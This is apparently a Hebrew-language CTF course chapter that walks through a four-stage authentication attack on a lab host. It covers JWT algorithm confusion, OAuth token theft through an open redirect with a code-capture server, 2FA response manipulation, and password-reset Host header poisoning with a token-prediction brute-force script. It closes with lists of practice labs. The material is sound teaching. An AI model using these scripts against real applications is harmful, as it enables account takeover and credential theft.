אתגר CTF - אותנטיקציה מתקדמת¶
מבוא¶
אתגר זה משלב את כל הטכניקות שלמדנו בפרק 2. האתגר מדמה אפליקציה ארגונית עם מספר שכבות אותנטיקציה, וכל שלב דורש טכניקה שונה לbypass. המטרה היא להשתלט על חשבון האדמין ולקבל את ה-flag.
שלב 1: הbypass JWT באמצעות בלבול אלגוריתמים - Algorithm Confusion¶
תיאור¶
האפליקציה משתמשת ב-JWT לאותנטיקציה. לאחר התחברות עם חשבון רגיל, תקבלו טוקן JWT חתום ב-RS256. המטרה היא לגשת ל-/api/admin/users.
רמזים¶
- התחברו עם
guest:guestוקבלו את הטוקן - בדקו מה נמצא ב-
/.well-known/jwks.json - שימו לב לאלגוריתם בטוקן
- נסו לשנות את האלגוריתם ל-HS256
- השתמשו במפתח הציבורי כסוד HMAC
שלבי הפתרון¶
# Step 1: Log in and get a token
import requests
import jwt
TARGET = "http://challenge.ctf.local"
session = requests.Session()
resp = session.post(f"{TARGET}/login", json={
"username": "guest",
"password": "guest"
})
token = resp.json()['token']
print(f"[1] Token: {token}")
# Step 2: Obtain the public key
resp = session.get(f"{TARGET}/.well-known/jwks.json")
jwks = resp.json()
print(f"[2] JWKS: {jwks}")
# Step 3: Convert JWK to PEM
from jwt.algorithms import RSAAlgorithm
import json
public_key_pem = RSAAlgorithm.from_jwk(json.dumps(jwks['keys'][0]))
# Step 4: Create a token with algorithm confusion
payload = jwt.decode(token, options={"verify_signature": False})
payload['role'] = 'admin'
payload['sub'] = 'administrator'
# What's the trick here? Write the code that signs with HS256
# ...
# Step 5: Access the protected endpoint
resp = session.get(f"{TARGET}/api/admin/users", headers={
"Authorization": f"Bearer {malicious_token}"
})
print(f"[5] Result: {resp.json()}")
מה אמורים לקבל¶
גישה ל-/api/admin/users תחזיר רשימת משתמשים ובתוכם לינק לשלב הבא.
שלב 2: הexploit OAuth לגניבת טוקן אדמין¶
תיאור¶
מתוך רשימת המשתמשים שקיבלתם, תגלו שהאדמין משתמש ב-OAuth לניהול. יש endpoint פנימי /oauth/authorize עם בעיית אימות redirect_uri.
רמזים¶
- בדקו את ה-OAuth endpoint שנמצא בשלב הקודם
- שימו לב לאופן שבו ה-redirect_uri מאומת
- חפשו open redirect באפליקציה
- שרשרו את ה-open redirect עם ה-OAuth flow
שלבי הפתרון¶
Step 2.1: Identify the OAuth flow
- גשו ל-/oauth/authorize?response_type=code&client_id=admin_panel&redirect_uri=...
- Check which redirect_uri values are accepted
Step 2.2: Find an Open Redirect
- Scan the app to find open redirects
- Hint: check /goto, /redirect, /next
Step 2.3: Chaining
- Build a URL that combines the open redirect with OAuth
- https://challenge.ctf.local/oauth/authorize?
response_type=code&
client_id=admin_panel&
redirect_uri=https://challenge.ctf.local/goto?url=YOUR_SERVER
Step 2.4: Obtain the code
- Set up a server that captures the authorization code
- "Send" the link to the admin (in a CTF environment there's usually a bot)
שרת לקליטת הקוד¶
from flask import Flask, request
import requests
app = Flask(__name__)
@app.route('/callback')
def callback():
code = request.args.get('code')
print(f"[+] Code: {code}")
# Exchange the code for a token
resp = requests.post("http://challenge.ctf.local/oauth/token", data={
"grant_type": "authorization_code",
"code": code,
"redirect_uri": "...",
"client_id": "admin_panel"
})
print(f"[+] Token: {resp.json()}")
return "OK"
app.run(host='0.0.0.0', port=8080)
מה אמורים לקבל¶
טוקן OAuth שנותן גישה לפאנל הניהול, שם תגלו שהאדמין מוגן ב-2FA.
שלב 3: הbypass 2FA באמצעות מניפולציית תגובה¶
תיאור¶
לאחר שקיבלתם גישה עם טוקן ה-OAuth, אתם צריכים לעבור את שלב ה-2FA. בדקו את התגובה של השרת ומצאו דרך לעקוף.
רמזים¶
- שלחו קוד 2FA שגוי ובדקו את התגובה
- שימו לב ל-status code, headers, ותוכן הגוף
- שנו את התגובה ב-Burp
- בדקו אם יש גם אפשרות לדלג על 2FA ישירות
שלבי הפתרון¶
# Step 3.1: Send an incorrect code
POST /admin/verify-2fa HTTP/1.1
Authorization: Bearer OAUTH_TOKEN
{"code": "000000"}
# Response:
HTTP/1.1 401 Unauthorized
{"success": false, "redirect": "/admin/2fa"}
# Step 3.2: Modify the response
HTTP/1.1 200 OK
{"success": true, "redirect": "/admin/dashboard"}
# Step 3.3: If manipulation doesn't work, try:
# - Direct access to /admin/dashboard
# - Change cookie (verified=true)
# - Reuse an old 2FA code
# Step 3.4: Additional check
# Maybe 2FA can be bypassed via a direct API?
GET /api/admin/dashboard HTTP/1.1
Authorization: Bearer OAUTH_TOKEN
# The API doesn't always check 2FA!
מה אמורים לקבל¶
גישה לפאנל הניהול עם מידע על חשבון האדמין ולינק לשלב האחרון.
שלב 4: הchaining כל הטכניקות - השתלטות מלאה על חשבון¶
תיאור¶
בשלב זה תשלבו את כל מה שלמדתם כדי להשתלט על חשבון הראשי של המערכת (super-admin). השלב כולל:
- הexploit password reset poisoning עם Host header
- חיזוי טוקן איפוס (הטוקן מבוסס על timestamp)
- שינוי סיסמה וגישה מלאה
שלבי הפתרון¶
# Step 4.1: Host Header poisoning
POST /forgot-password HTTP/1.1
Host: challenge.ctf.local
X-Forwarded-Host: YOUR_SERVER
email=superadmin@ctf.local
# Step 4.2: If Host poisoning doesn't work, try token prediction
import hashlib
import time
import requests
TARGET = "http://challenge.ctf.local"
# Reset request
timestamp_before = int(time.time())
requests.post(f"{TARGET}/forgot-password", data={
"email": "superadmin@ctf.local"
})
timestamp_after = int(time.time())
# Attempt to predict the token
for ts in range(timestamp_before, timestamp_after + 1):
# Try different patterns
candidates = [
hashlib.md5(str(ts).encode()).hexdigest(),
hashlib.sha256(str(ts).encode()).hexdigest()[:32],
hashlib.md5(f"superadmin@ctf.local:{ts}".encode()).hexdigest(),
]
for token in candidates:
resp = requests.get(f"{TARGET}/reset-password?token={token}")
if resp.status_code == 200 and 'expired' not in resp.text:
print(f"[+] Valid token: {token}")
print(f" (timestamp: {ts})")
# Change the password
resp = requests.post(f"{TARGET}/reset-password", data={
"token": token,
"new_password": "pwned123",
"confirm_password": "pwned123"
})
if resp.status_code == 200:
print("[+] Password changed!")
break
# Step 4.3: Log in as super-admin
resp = requests.post(f"{TARGET}/login", json={
"username": "superadmin",
"password": "pwned123"
})
token = resp.json().get('token')
# Step 4.4: Get the flag
resp = requests.get(f"{TARGET}/api/flag", headers={
"Authorization": f"Bearer {token}"
})
print(f"FLAG: {resp.json()['flag']}")
סיכום הטכניקות בשימוש¶
| שלב | טכניקה | קטגוריה |
|---|---|---|
| 1 | בלבול אלגוריתמים - Algorithm Confusion | JWT |
| 2 | הchaining Open Redirect עם OAuth | OAuth 2.0 |
| 3 | מניפולציית תגובה / גישה ישירה | 2FA Bypass |
| 4 | הpoisoning Host Header / חיזוי טוקן | Account Takeover |
מעבדות PortSwigger רלוונטיות¶
JWT¶
- JWT authentication bypass via unverified signature
- JWT authentication bypass via flawed signature verification
- JWT authentication bypass via jwk header injection
- JWT authentication bypass via jku header injection
- JWT authentication bypass via kid header path traversal
- JWT authentication bypass via algorithm confusion
- JWT authentication bypass via algorithm confusion with no exposed key
OAuth¶
- Authentication bypass via OAuth implicit flow
- Forced OAuth profile linking
- OAuth account hijacking via redirect_uri
- Stealing OAuth access tokens via an open redirect
- SSRF via OpenID dynamic client registration
2FA¶
- 2FA simple bypass
- 2FA broken logic
- 2FA bypass using a brute-force attack
Account Takeover¶
- Basic password reset poisoning
- Password reset poisoning via middleware
- Password reset poisoning via dangling markup
משאבים נוספים¶
קופסאות HackTheBox רלוונטיות¶
- Craft - Exploit JWT with algorithm confusion
- Oouch - OAuth attack with CSRF
- JSON - Exploit JWT token deserialization
- PlayerTwo - Chaining authentication vulnerabilities
- Unobtainium - Exploit JWT and SSRF
חדרי TryHackMe¶
- JWT Security - JWT challenges at various levels
- OAuth Vulnerabilities - OAuth attacks
- Authentication Bypass - authentication bypass
- OWASP Juice Shop - various authentication challenges
אתרים נוספים לתרגול¶
- PortSwigger Web Security Academy - the main source
- OWASP WebGoat - a learning lab
- Damn Vulnerable Web Application (DVWA)
- HackTheBox Web Challenges
- Root-Me - Web challenges
טיפים לפתרון¶
- תמיד תתחילו בזיהוי הטכנולוגיה - JWT/OAuth/SAML
- מפו את כל נקודות הקצה לפני שמתחילים לתקוף
- קראו את הודעות השגיאה בתשומת לב - הן חושפות מידע
- בדקו headers, cookies, ו-response bodies
- אל תשכחו לבדוק גם את הדברים הפשוטים - לפעמים הפתרון פשוט
- תעדו כל שלב - זה יעזור לכם לחזור אחורה אם נתקעתם
- אם נתקעתם - חזרו לתיאוריה. לפעמים הפתרון נמצא בהרצאה